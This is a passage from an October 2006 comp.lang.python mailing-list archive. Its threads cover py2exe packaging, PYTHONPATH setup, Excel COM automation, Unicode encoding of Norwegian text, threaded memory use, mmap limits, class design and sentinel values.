must be purchased (until 2010 or a certain number of total sales has been reached). See http://www.trelgol.com for more details. There is plenty of free documentation available now for NumPy, however. Go to http://www.scipy.org for more details. From steve at holdenweb.com Sat Oct 21 09:21:39 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 21 Oct 2006 14:21:39 +0100 Subject: SQLAlchemy and py2exe In-Reply-To: References: Message-ID: Karlo Lozovina wrote: > I've installed SQLAlchemy under Windows (strangely, it didn't install > inside ../site-packages/ as a directory, but rather as a > SQLAlchemy-0.2.8-py2.4.egg file). I can import it with 'import > sqlalchemy' and run my program with WingIDE, SPE and ofcourse in plain old > Python shell (ipython actually). > > But when I build my .exe using py2exe and run the executable, it fails > with 'Cannot import module sqlalchemy' error. Is it because SA is > installed inside a .egg file, and can I somehow force it to install like > all the other packages? > > Thanks guys... > http://mail.python.org/pipermail/distutils-sig/2005-August/004945.html\ regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From sjmachin at lexicon.net Mon Oct 2 08:35:56 2006 From: sjmachin at lexicon.net (John Machin) Date: 2 Oct 2006 05:35:56 -0700 Subject: Python/UNO/OpenOffice? In-Reply-To: References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> Message-ID: <1159792556.813570.10480@k70g2000cwa.googlegroups.com> Colin J. Williams wrote: > I've done some small things with Python/OpenOffice, using Windows XP. > They appear to work OK. As you might have noticed from my earlier post, I can't get off the ground. Can you please give an example (with code) of a "small thing" that works OK? TIA, John From http Mon Oct 2 11:12:52 2006 From: http (Paul Rubin) Date: 02 Oct 2006 08:12:52 -0700 Subject: Sort by domain name? References: Message-ID: <7xmz8ekayz.fsf@ruckus.brouhaha.com> "js " writes: > Here, domain name doesn't contain subdomain, > or should I say, domain's part of 'www', mail, news and en should be > excluded. It's a little more complicated, you have to treat co.uk about the same way as .com, and similarly for some other countries but not all. For example, subdomain.companyname.de versus subdomain.companyname.com.au or subdomain.companyname.co.uk. You end up needing a table or special code to say how to treat various countries. From jstroud at mbi.ucla.edu Sun Oct 1 19:04:35 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 01 Oct 2006 23:04:35 GMT Subject: how to reuse class deinitions? In-Reply-To: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> Message-ID: <7QXTg.8890$e66.2124@newssvr13.news.prodigy.com> sam wrote: > hello all, > > pretty straightforward question here, i think. i'm experimenting with > classes and have written a File class that looks like it's worth > keeping for future use. however, i cannot work out where to put it for > this purpose or how to get it in. > > i figured i'd try a bit of (un)inspired guesswork by putting it in my > module folder, appending sys.path to tell the interpreter where this > was, and importing it like a module. probably don't need to tell you > that that didn't work, but i'm drawing a blank in the tutorial and not > getting any luck in the archives here. maybe i'm just not searching > with the right words. it's late here and my brain's switching off... > > cutting and pasting it into the interpreter is a bit of a bore. any > help? > > much appreciated in advance, > > sam > > PS i've just reached first base with classes, and i think i'm starting > to see what the big deal is about OOP. it's like someone's turned a > light on. > Here's how I do it. This seems to work pretty well for me. More seasoned programmers may have better ways. 1. Develop modules (packages) in a folder called something like "~/Code". 2. Name the directory the same name as the module or package. 3. See this for packages and modules how-to: http://docs.python.org/tut/node8.html You basically will want to think in terms of packages if you use my method. 4. Now, set up your $PYTHONPATH environment variable to point at the "~/Code" directory. Here's how you do it in UNIX (ask a DOS guru for how to do it DOS). This if for your ~/.tcshrc file or ~/.cshrc file (whichever you use): setenv PYTHONPATH /path/to/Code This is for a ~/.bashrc file: PYTHONPATH=/path/to/Code export PYTHONPATH If you have already set $PYTHONPATH somewhere else, then you probably don't need me to tell you how to include "/path/to/Code" in it. 5. Open a new shell so the $PYTHONPATH gets set correctly for your rc file. 6. Now, start python in that shell and import your packages. Congratulations! You have now setup an environment where all the code you write becomes packages and re-usable. Why a similar recipe isn't in every tutorial or beginning python book, I haven't a clue because it saves hella time figuring out exactly what you have asked here. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From bruno at modulix.org Mon Oct 23 16:42:49 2006 From: bruno at modulix.org (bruno de chez modulix en face) Date: 23 Oct 2006 13:42:49 -0700 Subject: HTML Templates (Sitemesh/Tiles concept) in Python In-Reply-To: <1161627774.471594.223360@m7g2000cwm.googlegroups.com> References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> <453d02a7$0$15559$426a34cc@news.free.fr> <1161627774.471594.223360@m7g2000cwm.googlegroups.com> Message-ID: <1161636169.073683.92070@i3g2000cwc.googlegroups.com> Suren a ?crit : > > Python with ? CGI ? FastCGI ? mod_python ? Other ? > > We are using mod_python and SSI. > > We are inheriting some legacy code > that we do not want to mess with at all. Ok. > > You shouldn't - unless this is an internal web-based application, not a > > public site. Since your dynamically generating the pages, there's no > > gain using frames - but there are huge drawbacks, for the programmers as > > well as for the visitors. > > Although not an internal site, this site is going to be in a controlled > environment. Only a handful of people may access the website. So the drawbacks of frames may not be a definitive show-stopper. Anyway, and unless going thru useless complications, frames still have at least 2 big problems : you cannot bookmark pages, and you cannot be sure the use will see the effective content thru the "framed" page. The main use case for frames is (was ?) to avoid duplicating the same set of common elements (menus, header, footer etc) on each and evry page of a site. With dynamic page generation and template systems, this is no more a problem, so I see very few reasons to still use them. (snip) > > > > > Any other tips to help life easier are appreciated. > > > > Have you considered using one of the existing python web development > > libraries/frameworks? Like Pylons, Turbogears, Django, Spyce, Karigell, > > etc, etc, etc, etc... > > > We have not considered a framework coz the legacy code base has not > included one. We are living in the same source structure and did not > want to introduce a newer dependency. I hope we can find a > non-intrusive library/framework that does its job. Hard to tell what would be more appropriate without knowledge of the existing code base and architecture... Anyway, both Jinja and Genshi are relatively easy to setup and get started with. Mighty is a much more complex and powerful beast (it's almost a whole web-components framework by itsef). My 2 cents From steve at holdenweb.com Sun Oct 8 06:03:14 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 08 Oct 2006 11:03:14 +0100 Subject: People's names (was Re: sqlite3 error) In-Reply-To: References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: Lawrence D'Oliveiro wrote: > In message , Steve > Holden wrote: > > >>John Machin wrote: >> >>[lots of explanation about peculiarities of people's names] >> >>While I don't dispute any of this erudite display of esoteric >>nomenclature wisdom the fact remains that many (predominantly Western) >>databases do tend to use first and last name (in America often with the >>addition of a one- or two-character "middle initial" field). > > > Just because most Western designers of databases do it wrong doesn't mean > that a) you should do it wrong, or b) they will continue to do it wrong > into the future, as increasing numbers of those designers come from Asian > and other non-Western backgrounds. > I quite agree: my comment was really intended to highlight the fact that most Western database designers (myself included) do tend to be quite locale-centric. I haven't any experience with Eastern design, so can't say whether the same holds true. > >>So, having distilled your knowledge to its essence could you please give >>me some prescriptive advice about what I *should* do? :-) > > > Has anyone come up with a proper universal table design for storing people's > names? > > Certainly "first name" and "last name" are the wrong column names to use. I > think "family name" and "given names" would be a good start. For the > Icelanders, Somalians and the Muslims, their father's name goes in > the "family name" field, which makes sense because all their siblings (of > the same sex, at least) would have the same value in this field. > > I wonder if we need another "middle" field for holding the "bin/binte" part > (could also hold, e.g. "Van" for those names that use this). > > There would also need to be a flag field to indicate the canonical ordering > for writing out the full name: e.g. family-name-first, given-names-first. > Do we need something else for the Vietnamese case? You'd think some standards body would have worked on this, wouldn't you. I couldn't think of a Google search string that would lead to such information, though. Maybe other, more determined, readers can do better. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From DustanGroups at gmail.com Thu Oct 5 18:00:35 2006 From: DustanGroups at gmail.com (Dustan) Date: 5 Oct 2006 15:00:35 -0700 Subject: Strange sorting error message In-Reply-To: References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> Message-ID: <1160085635.215544.96580@h48g2000cwc.googlegroups.com> Steve Holden wrote: > Dustan wrote: > > I'm hiding some of the details here, because I don't want to say what > > I'm actually doing. > > [...] > > I have the answer to your problem but I don't actually want to tell you > what it is. That's great, seeing as I already figured out the answer, as I have already posted in a reply. Are you saying I broke one of these rules? http://www.catb.org/~esr/faqs/smart-questions.html Or are you just being plain rude? A lack of a response from you implies the latter... > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From steve at holdenweb.com Mon Oct 2 02:02:32 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 02 Oct 2006 07:02:32 +0100 Subject: Picture in Excel issue In-Reply-To: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200> References: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200> Message-ID: Jim Chiang wrote: > I?m trying to very simply insert a picture from a file into an excel > spreadsheet. I know how to do this in VBA and it works fine, however > when I try this from python I get an error. Doing a search on this > turned up nothing. > > The code I?m using is: > > from win32com.client.dynamic import Dispatch > > xl = Dispatch( 'Excel.Application' ) > > xl.Visible=1 > > xl.Workbooks.Add() > > xl.ActiveSheet.Pictures.Insert("C:\a.jpg") > > > > Traceback (most recent call last): > > File "", line 1, in > > xl.ActiveSheet.Pictures.Insert("C:\a.jpg") > > AttributeError: 'function' object has no attribute 'Insert' > > > > I?m not sure why I get this issue since > ?ActiveSheet.Pictures.Insert("C:\a.jpg")? works fine from within Excel. > Several internet posts from my searches also suggest to use this method. > > > > I?ve tried this on both Python 2.1 and 2.5 with the same results. > > Any idea what the problem is or how I can insert the picture?? > > > > TIA, > > Jim > > > I suspect that Pictures is a function that returns a collection - try ActiveSheet.Pictures().Insert("C:\a.jpg") Remember that VBA uses implied function calls, you have to be explicit in Python. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From gherzig at fmed.uba.ar Fri Oct 20 10:47:03 2006 From: gherzig at fmed.uba.ar (Gerardo Herzig) Date: Fri, 20 Oct 2006 11:47:03 -0300 Subject: list comprehension (searching for onliners) In-Reply-To: <4538C950.1060403@tim.thechases.com> References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com> Message-ID: <4538E167.9080408@fmed.uba.ar> You are the man, you are the man!! Yes, i need those dicts in order to assign them to a nested for the htmltmpl templating engine. Thats why i cant use the solution provided by Max, and thanks to Jon too!! Thanks a lot dudes, i hope someday ill turn myself into some of you guys who can actually answer questions ;) Gerardo >> result = [{'service_id' : 1, 'value': 10}, >> {'service_id': 2, 'value': 5}, >> {'service_id': 1, 'value': 15}, >> {'service_id': 2, 'value': 15}, >> ] >> >> and so on...what i need to do is some list comprehension that returns >> me something like >> >> result = [ >> { >> 'service_id' : 1, 'values': [ {'value': 10}, >> {'value': 15}] >> }, >> { >> 'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}] >> } >> >> My problem now is i cant avoid have "repeteated" entries, lets say, >> in this particular case, 2 entries for "service_id = 1", and other 2 >> for "service_id =2". > > > Okay...while I'm not sure the opacity of a one-liner is actually > productive, it *can* be done. Whether it should, I leave that to your > discernment. :) > > >>> [{'service_id': i, 'values':[{'value':d2['value']} for d2 in > result if d2['service_id'] == i ]} for i in set(d['service_id'] for d > in result)] > > [{'service_id': 1, 'values': [{'value': 10}, {'value': 15}]}, > {'service_id': 2, 'values': [{'value': 5}, {'value': 15}]}] > > > There's no claiming it's efficient, as it looks like there may be some > O(N^2) logic going on under the hood (or possibly O(N*M) where N is > the size of the result-set and M is the count of unique service_id > values), as it's iterating over the result-set in two > dimensions...once to create the set of top-level indices, and once for > each result. > > If you didn't have to have all those dictionaries around, it might > come out more cleanly to just have some result-set that came out to be > > {1: [10,15], 2: [5,15]} > > Just a few thoughts... > > -tkc > > > > From leo at snorland.com Sun Oct 29 06:19:22 2006 From: leo at snorland.com (Snor) Date: 29 Oct 2006 03:19:22 -0800 Subject: Event driven server that wastes CPU when threaded doesn't Message-ID: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> I'm attempting to create a lobby & game server for a multiplayer game, and have hit a problem early on with the server design. I am stuck between using a threaded server, and using an event driven server. I've been told time and time again that I should use an event driven server design (that is, use twisted). There is a lot of interaction between the clients and they would often need to write to the same list of values, which of course becomes a problem with a threaded server - so event driven solves that problem, and I assumed it would solve all my problems. However some requests from clients would require that the server goes on to query a mySQL server (separate machine from the server). As this occurs, there is a small amount of lag while the communication with the mySQL server takes place, and there could be another 100 clients waiting to make a request at this point, meanwhile the server is idling while waiting for a response from the mySQL server - obviously not a good server model. I will want the server to support as many users as is possible on any given machine - and so wasted CPU cycles is something I am trying to avoid. Is the only solution to use a threaded server to let my clients make their requests and receive a response in the fastest possible time? From gagsl-py at yahoo.com.ar Thu Oct 19 00:34:24 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 01:34:24 -0300 Subject: How to use python in TestMaker In-Reply-To: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> Message-ID: <7.0.1.0.0.20061019012636.036008a0@yahoo.com.ar> At Wednesday 18/10/2006 23:34, kelin,zzf818 at gmail.com wrote: >Now I 'm learning python to do testing jobs, and want to use it in >TestMaker. >The problem is: I don't know how to use python in TestMaker. >Just write python program in it or call .py files in it? >I am really new about it and need some help. What do you mean by "use python in TestMaker"? TestMaker is written in Python, but you dont need to know Python to use it at all. Do you want to modify TestMaker itself? Then you should learn the Python language first. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From steve at holdenweb.com Wed Oct 25 19:00:22 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 00:00:22 +0100 Subject: cleaner way to write this? In-Reply-To: References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> Message-ID: John Salerno wrote: > Paul Rubin wrote: > > >>Oh, I see. You really want something like repeat...while, which Python >>doesn't have. Anyway I start to prefer something like (untested): >> >> def create_db_name(self): >> try: >> while True: >> dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', >> 'Create New Database') >> if dlg.ShowModal() != wx.ID_OK: >> return None >> db_name = dlg.GetValue() >> if db_name: >> return db_name >> pop_up_error_dialog("please enter a value or press cancel") >> finally: >> dlg.Destroy() > > > Interesting. Some variation of this might suit me, but I think one other > problem I'm having is that the ShowModal() method returns whenever a > button is pressed, so even if OK is pressed with an empty string in the > box, the dialog disappears and returns an "OK" value. I'll have to check > in the wxpython group on how to handle this one, I think. I suspect you need to use a validator so the user can't click OK until they've put a value int eh text entry item. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From tier at inbox.ru Sun Oct 22 19:31:28 2006 From: tier at inbox.ru (Roman Petrichev) Date: Mon, 23 Oct 2006 03:31:28 +0400 Subject: multythreading app memory consumption Message-ID: <453BFF50.5000402@inbox.ru> Hi folks. I've just faced with very nasty memory consumption problem. I have a multythreaded app with 150 threads which use the only and the same function - through urllib2 it just gets the web page's html code and assigns it to local variable. On the next turn the variable is overritten with another page's code. At every moment the summary of values of the variables containig code is not more than 15Mb (I've just invented a tricky way to measure this). But during the first 30 minutes all the system memory (512Mb) is consumed and 'MemoryError's is arising. Why is it so and how can I limit the memory consumption in borders, say, 400Mb? Maybe there is a memory leak there? Thnx The test app code: Q = Queue.Queue() for i in rez: #rez length - 5000 Q.put(i) def checker(): while True: try: url = Q.get() except Queue.Empty: break try: opener = urllib2.urlopen(url) data = opener.read() opener.close() except: sys.stderr.write('ERROR: %s\n' % traceback.format_exc()) try: opener.close() except: pass continue print len(data) for i in xrange(150): new_thread = threading.Thread(target=checker) new_thread.start() From oliphant.travis at ieee.org Mon Oct 23 19:57:31 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Mon, 23 Oct 2006 17:57:31 -0600 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <453D4BC4.9080100@v.loewis.de> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> Message-ID: Martin v. L?wis wrote: > myeates at jpl.nasa.gov schrieb: >> Anyone ever done this? It looks like Python2.4 won't take a length arg >>> 2 Gig since its not seen as an int. > > What architecture are you on? On a 32-bit architecture, it's likely > impossible to map in 2GiB, anyway (since it likely won't fit into the > available address space). > > On a 64-bit architecture, this is a known limitation of Python 2.4: > you can't have containers with more than 2Gi items. This limitation > was removed in Python 2.5, so I recommend to upgrade. Notice that > the code has seen little testing, due to lack of proper hardware, NumPy uses the mmap object and I saw a paper at SciPy 2006 that used Python 2.5 + mmap + numpy to do some pretty nice and relatively fast manipulations of very large data sets. So, the very useful changes by Martin have seen more testing than he is probably aware of. -Travis From rpdooling at gmail.com Sat Oct 14 11:21:41 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 14 Oct 2006 08:21:41 -0700 Subject: Best IDE? In-Reply-To: <1160781153.445015.11620@i42g2000cwa.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <1160750319.845988.28050@m73g2000cwd.googlegroups.com> <1160781153.445015.11620@i42g2000cwa.googlegroups.com> Message-ID: <1160839301.400188.159060@b28g2000cwb.googlegroups.com> Fuzzyman wrote: > Hmm... only 31 results over a period of 8 years. That's a couple of > orders of magnitude less than I would have guessed. Well, if you take the quotes off of "best ide" then you get 342. rd From python-url at phaseit.net Tue Oct 3 21:45:03 2006 From: python-url at phaseit.net (Cameron Laird) Date: Wed, 4 Oct 2006 01:45:03 +0000 (UTC) Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 4) Message-ID: QOTW: "If you want your objects to know their name, give them a name as an attribute." - Georg Brandl "Unfortunately forty years of programming experience has taught me that there's an essentially infinite supply of mistakes to make ... your mistakes just get smarter most of the time." - Steve Holden timbot and other seniors explain several aspects of memory management applicable to a specific "pathologic example ... [for which it's an advantage] to disable garbage collection": http://groups.google.com/group/comp.lang.python/browse_thread/thread/66ecc194fa8af1a1/ No, Ruby isn't more virtuously object-oriented than Python (although it *is* more Smalltalk-like). John Roth details the factual distinctions: http://groups.google.com/group/comp.lang.python/browse_thread/thread/25e108582b4a6db2/ Duncan Booth, effbot, Steve Holden, and others surpass Lewis Carroll in the care with which they distinguish a character, the name of the character, what it's called, ...: http://groups.google.com/group/comp.lang.python/browse_thread/thread/14885cf940d9e8b9/ Sybren Stuvel's article on Open Office and Python is important enough to merit correction: http://groups.google.com/group/comp.lang.python/browse_thread/thread/c7bee85c6af82777/ With a far different programming model, Python also can boss Excel around to the extent of inserting images: http://groups.google.com/group/comp.lang.python/browse_thread/thread/8a0a1165a9b844f5/ How do you realize the source for a class definition so it's useful, that is, effectively able for use in the future? James Stroud and Scott David Daniels tell their stories: http://groups.google.com/group/comp.lang.python/browse_thread/thread/99d80c18db6228cc/ WSGI has its own PEP, Wiki, high-profile introduction, ...: http://www.xml.com/pub/a/2006/09/27/introducing-wsgi-pythons-secret-web-weapon.html ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. For far, FAR more Python reading than any one mind should absorb, much of it quite interesting, several pages index much of the universe of Pybloggers. http://lowlife.jp/cgi-bin/moin.cgi/PythonProgrammersWeblog http://www.planetpython.org/ http://mechanicalcat.net/pyblagg.html comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Python411 indexes "podcasts ... to help people learn Python ..." Updates appear more-than-weekly: http://www.awaretek.com/python/index.html Steve Bethard, Tim Lesher, and Tony Meyer continue the marvelous tradition early borne by Andrew Kuchling, Michael Hudson and Brett Cannon of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/python/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Kurt B. Kaiser publishes a weekly report on faults and patches. http://www.google.com/groups?as_usubject=weekly%20python%20patch Although unmaintained since 2002, the Cetus collection of Python hyperlinks retains a few gems. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://www.python.org/dev/peps/pep-0042/ The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. del.icio.us presents an intriguing approach to reference commentary. It already aggregates quite a bit of Python intelligence. http://del.icio.us/tag/python *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topic/python/ (requires subscription) http://groups-beta.google.com/groups?q=python-url+group:comp.lang.python*&start=0&scoring=d& http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python There is *not* an RSS for "Python-URL!"--at least not yet. Arguments for and against are occasionally entertained. Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". Write to the same address to unsubscribe. -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From __peter__ at web.de Sat Oct 7 17:59:01 2006 From: __peter__ at web.de (Peter Otten) Date: Sat, 07 Oct 2006 23:59:01 +0200 Subject: Encoding and norwegian (non ASCII) characters. References: <1160252959.777111.100090@h48g2000cwc.googlegroups.com> Message-ID: joakim.hove at gmail.com wrote: > Hello, > > I am having great problems writing norwegian characters ??? to file > from a python application. My (simplified) scenario is as follows: > > 1. I have a web form where the user can enter his name. > > 2. I use the cgi module module to get to the input from the user: > .... > name = form["name"].value > > 3. The name is stored in a file > > fileH = open(namefile , "a") > fileH.write("name:%s \n" % name) > fileH.close() > > Now, this works very well indeed as long the users have 'ascii' names, > however when someone enters a name with one of the norwegian characters > ??? - it breaks at the write() statement. > > UnicodeDecodeError: 'ascii' codec can't decode byte 0x8f in position > .... > > Now - I understand that the ascii codec can't be used to decode the > particular characters, however my attempts of specifying an alternative > encoding have all failed. > > I have tried variants along the line: > > fileH = codecs.open(namefile , "a" , "latin-1") / fileH = > open(namefile , "a") > fileH.write(name) / fileH.write(name.encode("latin-1")) > > It seems *whatever* I do the Python interpreter fails to see my pledge > for an alternative encoding, and fails with the dreaded > UnicodeDecodeError. > > Any tips on this would be *highly* appreciated. The approach with codecs.open() should succeed >>> out = codecs.open("tmp.txt", "a", "latin1") >>> out.write(u"???") >>> out.write("abc") >>> out.write("???") Traceback (most recent call last): File "", line 1, in ? File "/usr/local/lib/python2.4/codecs.py", line 501, in write return self.writer.write(data) File "/usr/local/lib/python2.4/codecs.py", line 178, in write data, consumed = self.encode(object, self.errors) UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 0: ordinal not in range(128) provided that you write only unicode strings with characters in the range unichr(0)...unichr(255) and normal strs in the range chr(0)...chr(127). You have to decode non-ascii strs before feeding them to write() with the appropriate encoding (that only you know) >>> out.write(unicode("\xe6\xf8\xe5", "latin1")) If there are unicode code points beyond unichr(255) you have to change the encoding in codecs.open(), typically to UTF-8. # raises UnicodeEncodeError codecs.open("tmp.txt", "a", "latin1").write(u"\u1234") # works codecs.open("tmp.txt", "a", "utf8").write(u"\u1234") Peter From will at willmcgugan.com Mon Oct 2 06:42:01 2006 From: will at willmcgugan.com (Will McGugan) Date: 2 Oct 2006 03:42:01 -0700 Subject: __init__ style questions Message-ID: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> I am writting a Vector3D class as a teaching aid (not for me, for others), and I find myself pondering over the __init__ function. I want it to be as easy to use as possible (speed is a secondary consideration). Heres the __init__ function I have at the moment. class Vector3D(object): __slots__ = ('x', 'y', 'z') def __init__(self, x_or_iter=None, y=None, z=None): if x_or_iter is None: self.x = self.y = self.z = 0 elif z is None: it = iter(x_or_iter) self.x = float(it.next()) self.y = float(it.next()) self.z = float(it.next()) else: self.x = float(x_or_iter) self.y = float(y) self.z = float(z) A Vector3D can be constructed in 3 ways. If no parameters are given it assumes a default of (0, 0, 0). If one parameter is given it is assumed to be an iterable capable of giving 3 values. If 3 values are given they are assumed to be the initial x, y, z. And now for the ponderings... 1) Is 'overloading' like this pythonic, or should I supply alternative contstructors? 2) I convert the input values to floats, which seems convenient because a Vector could be constructed with integers and other objects capable of being converted to floats. Could this hide errors? 3) I like the constructing from an iterable, but it does mean that I can do something crazy like Vector3D("123"). Could this also hide errors? 4) This does seem like a good candidate for __slots__, since there will could be large-ish lists of Vector3Ds. But is it a premature optimization? If it was just for myself or other experienced programmers I wouldn't be bothered about having the ability to do stupid things, because I simply wouldnt do them! But I dont want to teach beginner programmers bad habbits! Any comments appreciated... Will McGugan -- http://www.willmcgugan.com From ygao2004 at gmail.com Sat Oct 7 22:35:01 2006 From: ygao2004 at gmail.com (ygao) Date: 7 Oct 2006 19:35:01 -0700 Subject: can compile function have a bug? Message-ID: <1160274901.447221.45720@e3g2000cwe.googlegroups.com> >>> compile('U"?"','c:/test','single') >>> d=compile('U"?"','c:/test','single') >>> d >>> exec(d) u'\xd6\xd0' >>> U"?" u'\u4e2d' >>> why is the result different? a bug or another reason? From fredrik at pythonware.com Fri Oct 6 03:03:46 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 09:03:46 +0200 Subject: Strange sorting error message In-Reply-To: References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> <1160085635.215544.96580@h48g2000cwc.googlegroups.com> <1160087994.520447.199830@e3g2000cwe.googlegroups.com> Message-ID: Steve Holden wrote: > Even when it smacks you in the face, apparently. Anyway, I'm sorry if > you thought I was getting at you in any way. Just trying to amuse the > group ... time to reinstate mandatory use of the tag ? From moqtar at gmail.com Fri Oct 20 02:06:06 2006 From: moqtar at gmail.com (Kirt) Date: 19 Oct 2006 23:06:06 -0700 Subject: Need help in Py2exe In-Reply-To: References: <1161318158.913494.69770@m7g2000cwm.googlegroups.com> Message-ID: <1161324366.849678.287060@h48g2000cwc.googlegroups.com> > > there's a page on the py2exe site about tweaks necessary for specific > modules: > > http://www.py2exe.org/index.cgi/WorkingWithVariousPackagesAndModules > > look for: > > If you're getting File "xml\sax\saxexts.pyc", line 77, in > make_parser; xml.sax._exceptions.SAXReaderNotAvailable: No > parsers found, read this > > Thanx for the help. It worked. From paddy3118 at netscape.net Fri Oct 27 00:06:58 2006 From: paddy3118 at netscape.net (Paddy) Date: 26 Oct 2006 21:06:58 -0700 Subject: Sentinel values for special cases In-Reply-To: References: Message-ID: <1161922018.807346.163290@k70g2000cwa.googlegroups.com> Ben Finney wrote: > Howdy all, > > Ned Batchelder blogged[0] about a debate over checking function > parameters, and to what extent dynamic typing should be relied upon. > > I was one of many who commented, but I wrote what purports to be a > comprehensive checklist when considering special-case inputs for > functions. I thought the best way to puncture my ego would be to post > that list here and see how well it survives :-) Here goes: > > [0]: Referring to the blog entry, if I had a function that could take several items of data, where data items were 'expensive' to gather, but might not all be needed due to other data values, then I can see the need for using sentinel values for some of the data items and only computing their true value when necessary. In Python, as others stated, the sentinel value of choice for all the data values should be None, or, some module level global constant, guaranteed not to be part of the data. None is what Python readers would expect as a sentinel value, but if any of your data fields could have None as a valid value then you may have to switch to a module level constant. Be wary of using sentinel values which are strings, if your data could itself be a string - make sure the sentinel value is not valid data, and always use the sentinel name and not its value from then on. it is very wrong to do this sort of thing: NO_DATA = '::NO_DATA::' def xyz(a,b,c): if a == '::NO_DATA::': # blah blah blah You should use the name NO_DATA for the comparison. If you are having difficulty working out what to use as a sentinel value for your data then you could declare a Sentinel 